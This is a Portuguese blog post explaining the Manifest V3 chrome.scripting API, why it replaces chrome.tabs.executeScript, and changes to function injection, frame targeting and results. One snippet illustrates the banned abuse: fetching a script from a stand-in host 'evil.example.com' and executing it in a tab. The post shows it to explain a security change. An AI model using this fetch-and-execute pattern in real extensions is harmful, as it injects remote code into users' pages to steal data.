Introdução ao chrome.scripting

Simeon Vincent

O Manifest V3 introduz várias mudanças na plataforma de extensões do Chrome. Nesta postagem, vamos analisar as motivações e mudanças introduzidas por uma das mudanças mais notáveis: a introdução da API chrome.scripting.

O que é chrome.scripting?

Como o nome sugere, chrome.scripting é um novo namespace introduzido no Manifesto V3 responsável pelos recursos de injeção de script e estilo.

Os desenvolvedores que já criaram extensões do Chrome podem conhecer os métodos do Manifest V2 na API Tabs, como chrome.tabs.executeScript e chrome.tabs.insertCSS. Esses métodos permitem que as extensões injetem scripts e folhas de estilo nas páginas, respectivamente. No Manifesto V3, esses recursos foram movidos para chrome.scripting, e planejamos expandir essa API com alguns novos recursos no futuro.

Por que criar uma nova API?

Com uma mudança como essa, uma das primeiras perguntas que costumam surgir é "por quê?".

Vários fatores diferentes levaram a equipe do Chrome a decidir introduzir um novo namespace para scripts. Primeiro, a API Tabs é uma gaveta de recursos. Em segundo lugar, precisamos fazer mudanças importantes na API executeScript. Terceiro, sabíamos que queríamos expandir os recursos de script para extensões. Juntas, essas preocupações definiram claramente a necessidade de um novo namespace para armazenar recursos de script.

Gaveta de itens sem importância

Um dos problemas que tem incomodado a equipe de extensões nos últimos anos é que a API chrome.tabs está sobrecarregada. Quando essa API foi introduzida, a maioria dos recursos fornecidos estava relacionado ao conceito amplo de uma guia do navegador. Mesmo assim, ele era uma mistura de recursos, e com o passar dos anos, essa coleção só cresceu.

Quando o Manifest V3 foi lançado, a API Tabs cresceu para abranger o gerenciamento básico de guias, gerenciamento de seleção, organização de janelas, mensagens, controle de zoom, navegação básica, scripts e alguns outros recursos menores. Embora todos eles sejam importantes, pode ser um pouco confuso para os desenvolvedores no início e para a equipe do Chrome, já que mantemos a plataforma e consideramos as solicitações da comunidade de desenvolvedores.

Outro fator complicador é que a permissão tabs não é bem compreendida. Embora muitas outras permissões restrinjam o acesso a uma determinada API (por exemplo, storage), essa permissão é um pouco incomum porque concede à extensão acesso apenas a propriedades sensíveis em instâncias de guias. Além disso, ela também afeta a API do Windows. É compreensível que muitos desenvolvedores de extensões pensem erroneamente que precisam dessa permissão para acessar métodos na API Tabs, como chrome.tabs.create ou, mais especificamente, chrome.tabs.executeScript. A remoção da funcionalidade da API Tabs ajuda a esclarecer parte dessa confusão.

Alterações importantes

Ao projetar o Manifesto V3, um dos principais problemas que queríamos resolver era o abuso e o malware ativados por "código hospedado remotamente", que é executado, mas não incluído no pacote de extensão. É comum que autores de extensões abusivas executem scripts buscados de servidores remotos para roubar dados do usuário, injetar malware e evitar a detecção. Embora os atores bons também usem esse recurso, achamos que era muito perigoso manter o status quo.

Há algumas maneiras diferentes de as extensões executarem o código não agrupado, mas a relevante aqui é o método chrome.tabs.executeScript do Manifest V2. Esse método permite que uma extensão execute uma string arbitrária de código em uma guia de destino. Isso significa que um desenvolvedor malicioso pode buscar um script arbitrário de um servidor remoto e executá-lo em qualquer página que a extensão possa acessar. Sabíamos que, se quiséssemos resolver o problema do código remoto, precisaríamos abandonar esse recurso.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Também queríamos corrigir alguns outros problemas mais sutis com o design da versão 2 do Manifest e tornar a API uma ferramenta mais refinada e previsível.

Embora pudéssemos mudar a assinatura desse método na API Tabs, achamos que, entre essas mudanças importantes e a introdução de novos recursos (abordados na próxima seção), uma mudança clara seria mais fácil para todos.

Ampliação dos recursos de script

Outra consideração que influenciou o processo de design do Manifest V3 foi o desejo de introduzir mais recursos de script na plataforma de extensões do Chrome. Especificamente, queríamos adicionar suporte a scripts de conteúdo dinâmico e expandir os recursos do método executeScript.

O suporte a scripts de conteúdo dinâmico é um recurso solicitado há muito tempo no Chromium. Atualmente, as extensões do Manifest V2 e V3 do Chrome só podem declarar estaticamente scripts de conteúdo no arquivo manifest.json. A plataforma não oferece uma maneira de registrar novos scripts de conteúdo, ajustar o registro de scripts de conteúdo ou cancelar o registro de scripts de conteúdo no momento da execução.

Sabíamos que queríamos resolver esse pedido de recurso no Manifest V3, mas nenhuma das nossas APIs parecia ser a certa. Também consideramos nos alinhar ao Firefox na API Content Scripts, mas identificamos algumas desvantagens importantes dessa abordagem. Primeiro, sabíamos que teríamos assinaturas incompatíveis (por exemplo, a remoção do suporte à propriedade code). Em segundo lugar, nossa API tinha um conjunto diferente de restrições de design (por exemplo, precisava de um registro para persistir além da vida útil de um worker de serviço). Por fim, esse namespace também nos levaria a funcionalidades de script de conteúdo em que pensamos em scripts em extensões de maneira mais ampla.

Em relação à executeScript, também queríamos expandir o que essa API poderia fazer além do que a versão da API Tabs oferecia. Mais especificamente, queríamos oferecer suporte a funções e argumentos, segmentar frames específicos com mais facilidade e segmentar contextos que não sejam "guias".

De agora em diante, também estamos considerando como as extensões podem interagir com PWAs instalados e outros contextos que não são mapeados conceitualmente para "guias".

Mudanças entre tabs.executeScript e scripting.executeScript

No restante desta postagem, gostaria de analisar as semelhanças e diferenças entre chrome.tabs.executeScript e chrome.scripting.executeScript.

Como injetar uma função com argumentos

Ao considerar como a plataforma precisaria evoluir devido às restrições de código hospedado remotamente, queríamos encontrar um equilíbrio entre o poder bruto da execução de código arbitrário e permitir apenas scripts de conteúdo estático. A solução que encontramos foi permitir que as extensões injetassem uma função como um script de conteúdo e transmitissem uma matriz de valores como argumentos.

Vamos conferir um exemplo (simplificado demais). Digamos que queremos injetar um script que cumprimente o usuário pelo nome quando ele clicar no botão de ação da extensão (ícone na barra de ferramentas). No Manifest V2, podemos construir dinamicamente uma string de código e executar esse script na página atual.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Embora as extensões do Manifest V3 não possam usar códigos que não estão agrupados com a extensão, nosso objetivo era preservar parte do dinamismo que os blocos de código arbitrários ativaram para as extensões do Manifest V2. A abordagem de função e argumentos permite que os revisores, usuários e outras partes interessadas da Chrome Web Store avaliem com mais precisão os riscos de uma extensão, além de permitir que os desenvolvedores modifiquem o comportamento de execução de uma extensão com base nas configurações do usuário ou no estado do aplicativo.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Segmentação de frames

Também queríamos melhorar a interação dos desenvolvedores com os frames na API revisada. A versão V2 do manifesto de executeScript permitia que os desenvolvedores segmentassem todos os frames em uma guia ou um frame específico na guia. É possível usar chrome.webNavigation.getAllFrames para receber uma lista de todos os frames em uma guia.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

No Manifest V3, substituímos a propriedade opcional de número inteiro frameId no objeto de opções por uma matriz opcional de números inteiros frameIds. Isso permite que os desenvolvedores segmentem vários frames em uma única chamada de API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Resultados da injeção de script

Também melhoramos a forma como retornamos os resultados da injeção de script no Manifest V3. Um "resultado" é basicamente a declaração final avaliada em um script. Pense nisso como o valor retornado quando você chama eval() ou executa um bloco de código no console do Chrome DevTools, mas serializado para transmitir resultados entre processos.

No Manifest V2, executeScript e insertCSS retornavam uma matriz de resultados de execução simples. Isso é aceitável se você tiver apenas um ponto de injeção, mas a ordem dos resultados não é garantida ao injetar em vários frames. Portanto, não há como saber qual resultado está associado a qual frame.

Como exemplo concreto, vamos analisar as matrizes results retornadas por um Manifest V2 e uma versão do Manifest V3 da mesma extensão. Ambas as versões da extensão vão injetar o mesmo script de conteúdo, e vamos comparar os resultados na mesma página de demonstração.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Quando executamos a versão V2 do manifesto, recebemos uma matriz de [1, 0, 5]. Qual resultado corresponde ao frame principal e qual é para o iframe? O valor de retorno não informa, então não sabemos com certeza.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Na versão 3 do manifesto, results agora contém uma matriz de objetos de resultado em vez de uma matriz de apenas os resultados da avaliação, e os objetos de resultado identificam claramente o ID do frame para cada resultado. Isso facilita muito a utilização do resultado e a ação dos desenvolvedores em um frame específico.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusão

As atualizações de versão do manifesto são uma oportunidade rara para repensar e modernizar as APIs de extensões. Nosso objetivo com o Manifest V3 é melhorar a experiência do usuário final, tornando as extensões mais seguras e melhorando a experiência do desenvolvedor. Com a introdução do chrome.scripting no Manifest V3, foi possível limpar a API Tabs, reimaginar o executeScript para uma plataforma de extensões mais segura e preparar o terreno para novos recursos de script que serão lançados ainda este ano.